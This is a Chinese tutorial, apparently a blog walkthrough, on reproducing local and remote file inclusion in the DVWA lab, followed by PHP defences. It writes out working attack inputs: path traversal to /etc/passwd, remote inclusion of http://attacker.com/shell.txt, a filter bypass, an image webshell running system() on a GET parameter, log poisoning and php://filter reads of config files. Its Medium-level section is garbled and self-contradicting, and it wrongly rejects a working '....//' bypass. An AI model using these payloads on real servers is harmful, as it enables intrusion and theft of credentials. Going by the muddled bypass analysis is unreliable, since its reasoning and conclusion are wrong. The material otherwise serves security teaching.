1. 项目概述:从靶场实战理解文件包含漏洞的本质
文件包含漏洞,尤其是本地文件包含(LFI)和远程文件包含(RFI),是Web安全领域一个经典且危害巨大的漏洞类型。很多刚入门安全测试的朋友,可能在理论上学过“通过包含恶意文件执行代码”这个概念,但具体到代码层面它是如何发生的、在实际的渗透测试中如何利用、以及开发人员又该如何有效防御,这些细节往往模糊不清。这正是DVWA(Damn Vulnerable Web Application)这个靶场的价值所在——它用一个极度简化的环境,把复杂的漏洞原理和利用过程,清晰地呈现在我们面前。
简单来说,这个实战项目就是利用DVWA靶场的“File Inclusion”模块,亲手复现LFI和RFI漏洞。我们会从最基础的漏洞原理讲起,然后一步步在靶场中从低级(Low)到高级(Impossible)安全级别进行攻击复现,观察不同防御级别的代码差异,最后总结出真正有效的防御方案。这不仅仅是一个“通关教程”,更是一次深入理解PHP文件包含机制、攻击者思维和防御者视角的完整训练。无论你是刚开始接触Web安全的学生,还是希望巩固基础的开发人员,通过这个靶场实战,你都能获得对文件包含漏洞立体而深刻的认识。
2. 漏洞原理深度拆解:为什么include/require会成为漏洞?
要打好实战,必须先吃透原理。文件包含漏洞的核心,在于程序在动态包含文件时,未对用户输入的文件名或路径进行充分验证和过滤,导致攻击者可以操控包含的目标。
2.1 PHP文件包含函数的工作机制
PHP提供了四个主要的文件包含函数:include、require、include_once、require_once。它们在失败时的处理方式不同(include产生警告,require产生致命错误),但核心功能一致:将指定文件的内容读取并插入到当前脚本的执行流中。关键在于,如果被包含的文件是PHP代码,这些代码会被执行。
想象一下,你有一个网站,不同语言的页面结构相同,只是文字内容不同。聪明的做法是做一个模板,然后把英文内容en.php、中文内容cn.php等文件包含进来。代码可能这样写:
$language = $_GET['lang']; // 用户通过?lang=en选择语言 include('./languages/' . $language . '.php');这段代码的初衷是好的,动态加载内容。但问题就出在$language这个变量完全由用户控制。攻击者不再老老实实输入en或cn,而是输入../../../../etc/passwd呢?拼接后路径可能变成./languages/../../../../etc/passwd,这就会向上跳转目录,最终包含到系统的密码文件。这就是LFI的典型利用。
2.2 LFI与RFI的核心区别与利用条件
本地文件包含(LFI):顾名思义,包含的是服务器本地的文件。就像上面的例子,攻击者通过目录遍历(../)等手法,读取或执行服务器上的敏感文件,如/etc/passwd、/proc/self/environ、Web应用的配置文件(config.php)、日志文件等。LFI的利用相对直接,因为目标文件就在服务器上。
远程文件包含(RFI):这是更危险的一种情况,攻击者可以诱使服务器去包含一个远程URL上的文件(如http://attacker.com/shell.txt)。如果这个远程文件包含PHP代码,服务器会下载并执行它,相当于攻击者可以直接在目标服务器上植入Webshell。RFI的利用需要更苛刻的条件:PHP配置中的allow_url_include选项必须为On(默认通常是Off)。在实战中,遇到RFI的机会比LFI少,但一旦存在,危害极大。
两者的根本区别在于包含文件的来源是“本地文件系统”还是“远程URL”。从攻击者视角看,LFI是“读取与执行已有文件”,RFI是“注入并执行全新文件”。
2.3 常见敏感路径与利用技巧
知道原理后,攻击者会尝试包含哪些文件呢?这需要一些经验和对系统的了解。
系统敏感文件:
- Linux/Unix:
/etc/passwd: 查看系统用户列表,是LFI测试的“经典Hello World”。/etc/shadow: 存储用户哈希密码,但通常需要root权限。/proc/self/environ: 包含当前进程的环境变量。如果Web服务器(如Apache)通过环境变量传递了User-Agent、Referer等信息,攻击者可以通过修改HTTP头,将PHP代码注入到环境变量中,然后通过LFI包含/proc/self/environ来执行代码。这是一种经典的“日志污染”利用链的起点。/proc/self/fd/[数字]: 文件描述符,有时可能包含有用信息。
- Windows:
C:\Windows\System32\drivers\etc\hosts: 主机文件。C:\boot.ini: 查看系统启动信息(旧系统)。C:\Windows\win.ini: 系统配置文件。
- Linux/Unix:
Web应用相关文件:
- 配置文件:如
config.php,database.php,settings.inc.php。这些文件常有数据库用户名和密码。 - 日志文件:如Apache的
access.log,error.log。攻击者可以将PHP代码作为URL的一部分或User-Agent访问网站,这些代码会被记录到日志中,然后通过LFI包含日志文件来执行代码。 - 会话文件:
/tmp/sess_[sessionid]。PHP会话文件可能包含序列化的用户数据。 - 上传的临时文件:配合文件上传功能,有时可以包含上传的临时文件路径。
- 配置文件:如
利用技巧:
- 空字节截断(%00):在PHP版本低于5.3.4且
magic_quotes_gpc为Off时,在文件名后添加%00(空字节)可以截断后面的字符串。例如,如果代码强制添加后缀.php(include($_GET['page'] . '.php');),攻击者可以传入../../etc/passwd%00,拼接后成为../../etc/passwd%00.php,%00会告诉系统字符串在此结束,从而成功包含/etc/passwd。注意:这个漏洞在现代PHP版本中已修复。 - 路径遍历(../):使用
../来向上跳转目录,突破预设的目录限制。 - 绝对路径:直接使用绝对路径(如
/etc/passwd)尝试包含。
- 空字节截断(%00):在PHP版本低于5.3.4且
注意:在实际渗透测试中,读取系统文件必须获得授权。在自家搭建的靶场或获得明确授权的环境中进行测试是唯一合法且道德的途径。
3. DVWA靶场环境搭建与配置要点
工欲善其事,必先利其器。复现漏洞前,一个稳定、隔离的测试环境是必不可少的。DVWA靶场因其集成度高、漏洞典型而成为首选。
3.1 快速搭建DVWA的几种方式
对于初学者,我强烈推荐使用Docker方式部署,它能最大程度避免环境冲突,一键启动。
使用Docker(推荐):
# 拉取官方镜像 docker pull vulnerables/web-dvwa # 运行容器,将容器80端口映射到宿主机的8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行后,在浏览器访问
http://你的机器IP:8080即可。首次访问需要点击页面底部的Create / Reset Database按钮初始化数据库。传统集成环境(如XAMPP、PHPStudy):
- 下载DVWA源码(从GitHub:
https://github.com/digininja/DVWA)。 - 将其解压到Web服务器根目录(如XAMPP的
htdocs文件夹)。 - 重命名
config/config.inc.php.dist为config/config.inc.php。 - 根据你的数据库信息修改该配置文件中的数据库连接设置(
$_DVWA[ 'db_user' ],$_DVWA[ 'db_password' ])。 - 确保PHP环境满足要求(如
allow_url_include在后续实验中可能需要开启)。
- 下载DVWA源码(从GitHub:
3.2 关键安全级别设置与PHP配置
DVWA的精髓在于其可调节的安全级别,它模拟了不同强度的防御措施。
- Low:毫无防御。代码直接使用未经任何处理的用户输入。
- Medium:实现了一些基础的过滤,但很容易被绕过。
- High:实现了较强的防御,通常需要更巧妙的绕过技巧或结合其他漏洞。
- Impossible:理论上近乎完美的安全代码,展示了最佳实践。
为了复现RFI漏洞,我们可能需要修改PHP配置。在Docker环境中,可以进入容器修改:
docker exec -it dvwa /bin/bash # 编辑php.ini,找到allow_url_include find / -name php.ini 2>/dev/null # 查找php.ini位置,通常在 /etc/php/*/apache2/php.ini vi /etc/php/8.2/apache2/php.ini # 根据找到的路径编辑找到allow_url_include这一行,将其值改为On。然后重启Apache服务(service apache2 restart)或直接重启容器。
在本地PHPStudy等环境中,可以直接在图形界面中修改php.ini文件。
实操心得:使用Docker时,修改容器内的配置在容器重启后可能会丢失。更稳妥的做法是在运行容器时,将宿主机上修改好的
php.ini文件挂载到容器内对应路径,例如:docker run -d -p 8080:80 -v /你的路径/php.ini:/etc/php/8.2/apache2/php.ini vulnerables/web-dvwa。这样配置就持久化了。
4. 漏洞复现实战:从Low到High的攻防演练
现在,让我们进入DVWA,将安全级别调至Low,开始真正的实战。理解每一层防御是如何被绕过,是学习防御的关键。
4.1 Low安全级别:毫无防护的“裸奔”代码
在Low级别下,查看源码(点击“View Source”):
<?php $file = $_GET['page']; // 直接获取用户输入 ?>代码简单到令人吃惊。$file变量直接来自$_GET['page'],没有任何过滤。这意味着我们可以完全控制包含的文件路径。
LFI利用:
- 在页面中,点击“File Inclusion”模块,你会看到它默认包含了
include.php等文件。 - 尝试在URL参数中直接进行目录遍历:
?page=../../../../etc/passwd - 如果系统是Linux,你很可能会看到用户列表的内容被显示在网页上。这说明LFI漏洞真实存在。
RFI利用:
- 首先确保
allow_url_include=On。 - 准备一个远程文本文件,里面包含PHP代码。例如,在另一台服务器(或本地用Python临时起个HTTP服务)上创建
shell.txt,内容为:<?php phpinfo(); ?>。 - 在DVWA中尝试包含这个远程URL:
?page=http://你的服务器IP/shell.txt - 如果成功,页面会显示
phpinfo()的信息,证明服务器执行了远程文件中的PHP代码,RFI利用成功。
这个级别纯粹是为了演示漏洞最原始的样子,在实际应用中几乎不可能出现,但它奠定了我们理解漏洞的基础。
4.2 Medium安全级别:初级的、可被绕过的过滤
切换到Medium级别,查看源码:
<?php $file = $_GET['page']; // 输入过滤 $file = str_replace( array( "http://", "https://" ), "", $file ); // 目录遍历过滤 $file = str_replace( array( "../", "..\\" ), "", $file ); ?>代码尝试进行防御:
- 过滤了
http://和https://,试图阻止RFI。 - 过滤了
../和..\(Windows路径),试图阻止目录遍历。
然而,这种过滤非常幼稚,存在典型的双写绕过问题。
LFI绕过: 过滤函数str_replace是直接替换,且只执行一次。如果我们输入..././,它会把中间的../替换成空,结果就变成了./,而./代表当前目录,通常无害。但关键是,我们可以使用....//。经过替换,中间的../被移除,剩下的部分拼接起来正好又变成了../!
- 尝试输入:
?page=....//....//....//....//etc/passwd - 代码处理过程:
....//-> 移除../->./。等等,不对。让我们仔细分析:字符串....//,查找../,没有连续的../。所以它不会被替换。我们需要换一种思路。 - 更简单的绕过:因为过滤的是
../,我们可以尝试使用绝对路径。在Linux下直接输入?page=/etc/passwd。或者,如果知道文件相对Web根目录的路径,也可以直接使用。但通常Medium级别下,直接使用绝对路径可能被其他机制限制。经典的绕过方式是使用空字节截断(如果PHP版本允许),但这里我们演示另一种:因为只过滤了一次,我们可以用..././吗?实际上..././替换掉../后变成./,无法向上跳转。Medium级别对LFI的防御通过简单的str_replace其实比较难绕过,除非结合其他漏洞或服务器特定配置。但DVWA的Medium级别设计上可能留了其他入口,有时直接使用../../etc/passwd可能因为路径计算问题依然成功,这取决于Web根目录的位置。一个更可靠的测试是尝试包含file://协议。file://协议允许直接访问本地文件系统,且不受../过滤影响。尝试:?page=file:///etc/passwd。如果成功,说明过滤形同虚设。
RFI绕过: 过滤了http://,我们可以使用其他协议或变种。
- 使用
http://的变体:HtTp://(大小写混合)。str_replace是大小写敏感的,所以不会被匹配。 - 使用其他协议:如果服务器配置支持,可以尝试
ftp://,https://(注意,代码只过滤了http://和https://?等等,代码中过滤了https://吗?是的,原代码是str_replace( array( "http://", "https://" ), "", $file ),所以https://也被过滤了)。但我们可以用HTTPS://(全大写)绕过。 - 使用双写绕过:输入
hthttp://tp://attacker.com/shell.txt。代码会把中间的http://替换为空,结果剩下http://attacker.com/shell.txt,成功绕过。
注意事项:在实际测试中,Medium级别的过滤往往因代码实现不同而有不同的绕过方式。关键在于理解过滤逻辑是“查找并替换一次”,然后思考如何构造输入,使得过滤后的结果仍然是我们想要的恶意字符串。这需要一些创造力和对字符串操作的深刻理解。
4.3 High安全级别:白名单机制的缺陷与极限绕过
High级别的源码通常会上强度,引入白名单机制:
<?php $file = $_GET['page']; if ( !fnmatch( "file*", $file ) && $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>这段代码使用了fnmatch函数进行模式匹配,要求$file必须以"file"开头,或者等于"include.php"。这看起来像是一个白名单(只允许包含file开头的文件),但实际上它只检查了开头字符串,仍然存在问题。
利用方式:
- 利用
file协议:既然要求以file开头,而file://协议正好符合这个要求!我们可以尝试:?page=file:///etc/passwd。这会将file://协议后面的路径作为本地文件路径来包含。如果服务器配置允许file://包装器(默认通常允许),并且Web进程有权限读取/etc/passwd,那么LFI利用依然成功。这暴露了白名单设计不严谨的问题:只检查前缀,没有检查完整的协议或路径合法性。 - 利用目录遍历:即使前缀是
file,我们仍然可以在后面进行目录遍历吗?例如:?page=file../../../../etc/passwd。这取决于代码的具体实现。如果代码在检查前缀后,直接将其传递给include函数,那么include("file../../../../etc/passwd")会尝试包含一个名为file../../../../etc/passwd的本地文件,这个文件显然不存在。所以关键是要让整个字符串在检查时合法,在执行时又能解析为目标路径。file://协议是一个完美的“桥梁”。
高级技巧——结合文件上传或日志注入: 在High级别下,直接包含任意文件可能被严格限制。这时,攻击链可能会变长。例如:
- 文件上传+包含:如果网站存在文件上传功能,且上传后的文件路径和名称可知或可预测,我们可以上传一个图片马(图片中包含PHP代码),然后通过文件包含漏洞去包含这个图片文件。由于包含函数会执行文件中的PHP代码,从而获得Webshell。在High级别,包含路径被限制,但如果上传的文件保存在以
file开头的目录下,或者我们能控制上传文件名以file开头,就可能成功。 - 日志注入+包含:如前所述,通过LFI包含日志文件(如
/var/log/apache2/access.log),并在User-Agent或Referer中注入PHP代码。我们需要让包含的路径满足白名单。如果日志文件的绝对路径是/var/log/apache2/access.log,它不以file开头。但我们可以尝试使用file://协议吗?file:///var/log/apache2/access.log是以file开头的。因此,如果服务器允许file://协议且我们能猜到或探测到日志文件的绝对路径,这种攻击依然可行。
这个级别告诉我们,即使采用了白名单思路,如果实现不严谨(如只做前缀匹配、未考虑各种协议包装器),漏洞依然存在。真正的安全需要多维度、深层次的检查。
5. 防御方案解析:从Impossible级别看最佳实践
最后,我们看看DVWA的Impossible级别是如何彻底杜绝文件包含漏洞的。查看源码:
<?php $file = $_GET['page']; // 只允许包含“include.php”这个文件 if ( $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>或者更常见的Impossible级别代码是使用一个硬编码的白名单数组:
<?php $whitelist = array("file1.php", "file2.php", "file3.php"); $page = $_GET['page']; if (in_array($page, $whitelist)) { include($page); } else { echo "Invalid page requested."; exit; } ?>防御核心思想:
- 白名单机制:这是最有效、最根本的防御手段。明确列出所有允许被包含的文件,任何不在名单内的输入都被拒绝。Impossible级别通常只允许包含一个固定的文件(如
include.php),或者一个非常有限的白名单。 - 避免动态包含:如果业务逻辑必须动态包含,也应尽量避免直接使用用户输入作为文件名。可以使用一个映射表,将用户选择(如数字ID、固定字符串)映射到实际的安全文件路径。
$pageMap = array( 'home' => './pages/home.php', 'about' => './pages/about.php', 'contact' => './pages/contact.php' ); $key = $_GET['page']; if (array_key_exists($key, $pageMap)) { include($pageMap[$key]); } else { include('./pages/error.php'); } - 关闭危险配置:在PHP生产环境中,务必在
php.ini中设置:allow_url_include = Off(禁用远程文件包含)allow_url_fopen = Off(如果业务不需要,也建议关闭,增加安全性)open_basedir(设置PHP可访问的目录范围,将其限制在Web应用必要的目录内,可以有效防止目录遍历读取系统文件)
- 输入验证与规范化:如果无法完全使用白名单,必须对用户输入进行严格验证。
- 验证:检查输入是否只包含预期的字符(如字母、数字、下划线、短横线)。
- 规范化:使用
realpath()或basename()函数。realpath()可以解析所有符号链接和../,返回绝对路径,然后你可以检查这个绝对路径是否在以Web根目录为起点的子目录内。注意:realpath()在文件不存在时返回false,需谨慎使用。basename()可以提取路径中的文件名部分,去除目录遍历字符,但需确保只包含预期目录下的文件。
- 代码审计与安全开发:将安全作为开发流程的一部分。在代码审查中,重点关注所有包含用户输入的文件操作函数(
include,require,file_get_contents,fopen等)。
6. 实战拓展:漏洞组合利用与高级攻击思路
在真实世界中,攻击很少是单一漏洞的利用。文件包含漏洞常常成为攻击链中的关键一环,与其他漏洞组合产生更大威力。
6.1 LFI与文件上传的组合拳
这是非常经典的组合。假设一个网站:
- 存在文件上传漏洞,允许上传图片,但会对文件内容进行简单检查(如检查文件头)或重命名,防止直接上传
.php文件。 - 同时存在LFI漏洞,但可能受到一定限制(如需要特定目录、特定后缀)。
攻击流程:
- 攻击者上传一个“图片马”,即一个真正的图片文件(如JPEG),但在文件末尾附加了一段PHP代码(如
<?php system($_GET['cmd']);?>)。有些上传检测只检查文件头(魔数),对于文件末尾的额外内容不会处理。 - 上传后,服务器将文件保存在一个可访问的路径下,例如
/uploads/avatar_12345.jpg。 - 攻击者利用LFI漏洞,去包含这个图片文件:
?page=./uploads/avatar_12345.jpg。 - PHP的
include函数会读取这个文件。由于文件以合法的图片内容开头,PHP解释器会忽略前面的二进制数据,直到遇到<?php ... ?>标签,然后执行其中的代码。这样,攻击者就通过图片文件获得了Webshell。
防御方法:
- 对上传文件进行严格的重命名(如使用随机哈希值作为文件名),避免路径被预测。
- 将上传目录设置为不可执行。通过Web服务器配置(如Apache的
php_admin_flag engine off指令)或文件系统权限,确保上传目录下的文件不会被当作PHP脚本解析。 - 存储上传文件的路径绝不直接暴露给用户,通过后端脚本读取并输出文件内容。
- 对上传文件进行二次渲染(如图片压缩、裁剪),这可以破坏附加在文件末尾的恶意代码。
6.2 LFI与日志注入的利用链
当无法上传文件时,服务器的日志文件可能成为注入代码的载体。
攻击流程:
- 攻击者发现目标存在LFI漏洞,可以包含日志文件,如Apache的
/var/log/apache2/access.log。 - 攻击者向目标网站发送一个HTTP请求,并在User-Agent或Referer等头部字段中插入PHP代码,例如:
User-Agent: <?php phpinfo(); ?>。 - 这个请求会被记录到
access.log中,日志条目可能类似:192.168.1.100 - - [日期] "GET /index.php HTTP/1.1" 200 1234 "<?php phpinfo(); ?>"。 - 攻击者利用LFI漏洞包含这个日志文件:
?page=../../../var/log/apache2/access.log。 - 服务器读取日志文件,当遇到
<?php phpinfo(); ?>时,会将其作为PHP代码执行,从而在响应中输出phpinfo()信息。
防御方法:
- 最根本的仍是修复LFI漏洞。
- 将Web日志文件存储在Web根目录之外,避免通过Web直接或间接访问。
- 对日志内容进行过滤或转义,但这种方法成本较高,通常不是首选。
6.3 利用PHP内置协议进行信息读取
即使不能执行代码,LFI也可以用来读取服务器上的敏感源代码,帮助攻击者进行下一步渗透。PHP内置的过滤器协议(php://filter)在这里非常有用。
利用方式: 攻击者无法直接通过包含.php文件来查看其源代码,因为包含时PHP代码会被执行。但是,使用php://filter可以先将文件内容进行编码转换(如Base64编码),然后再包含,这样得到的是编码后的文本而非执行结果。
?page=php://filter/convert.base64-encode/resource=config.php这行代码会读取config.php文件的内容,并将其进行Base64编码后输出。攻击者只需将输出的Base64字符串解码,即可获得config.php的完整源代码,其中可能包含数据库密码等关键信息。
防御方法:
- 同样,根除LFI漏洞是首要任务。
- 确保配置文件、密钥文件等敏感信息存储在Web根目录之外。
- 对配置文件中的密码进行加密,即使被读取也无法直接使用。
7. 防御体系构建:超越代码层面的思考
修复一个漏洞点容易,构建一个安全的体系很难。对于文件包含漏洞,乃至所有Web安全漏洞,我们需要从更宏观的视角来构建防御。
7.1 安全开发生命周期(SDL)集成
安全不应是开发完成后才考虑的事情。将安全活动集成到软件开发生命周期的每个阶段:
- 需求阶段:明确安全需求,例如“所有用户输入必须经过验证”。
- 设计阶段:进行威胁建模,识别“文件包含”可能发生的场景,并设计相应的安全控制(如白名单架构)。
- 编码阶段:使用安全的编码规范,对开发者进行安全培训,使用静态代码分析工具(SAST)扫描类似
include($_GET[‘page’])的不安全代码模式。 - 测试阶段:进行动态应用安全测试(DAST)和渗透测试,主动寻找LFI/RFI漏洞。
- 部署与运维阶段:配置安全的服务器环境(如
open_basedir,disable_functions),定期进行漏洞扫描和更新。
7.2 纵深防御策略
不要依赖单一防线。即使应用层代码存在缺陷,其他层面的防御也能减缓或阻止攻击。
- 网络层:使用WAF(Web应用防火墙)。现代的WAF通常具备检测和阻断常见攻击模式(如路径遍历
../、RFI特征URL)的能力,可以为存在漏洞的旧系统提供临时保护。 - 系统层:
- 最小权限原则:运行Web服务的用户(如
www-data,apache)应具有尽可能低的权限。确保其不能读取/etc/shadow等关键系统文件。 - 文件系统权限:严格设置Web根目录及其子目录的读写执行权限。上传目录只给写权限,不给执行权限。
- 容器化/虚拟化:将应用运行在容器或虚拟机中,限制其访问宿主机的文件系统。
- 最小权限原则:运行Web服务的用户(如
- 运行时保护:使用RASP(运行时应用自我保护)技术,监控应用运行时的行为,一旦检测到异常的
include操作(如包含/etc/passwd),可以实时阻断。
7.3 监控与应急响应
假设防御被突破,快速的检测和响应至关重要。
- 日志监控:集中收集和分析Web服务器错误日志、应用日志。频繁出现的包含错误(如“No such file or directory”尝试包含奇怪路径)可能是攻击探测的信号。
- 文件完整性监控:监控Web目录下核心文件(如
index.php,config.php)的变更,防止Webshell被写入。 - 制定应急预案:一旦确认存在文件包含漏洞并被利用,应急预案应包括:隔离受影响系统、排查入侵范围、修复漏洞、清除后门、恢复服务、取证分析等步骤。
文件包含漏洞是一个很好的切入点,它像一面镜子,映照出Web应用安全在代码设计、服务器配置和运维管理等多个层面的问题。通过DVWA靶场的实战,我们从攻击者的角度理解了漏洞的成因和利用手法,这恰恰是为了能更好地站在防御者的立场,构建更坚固的安全防线。真正的安全,始于对漏洞每一处细节的深刻认知,成于将安全思维融入开发和运维的每一个环节。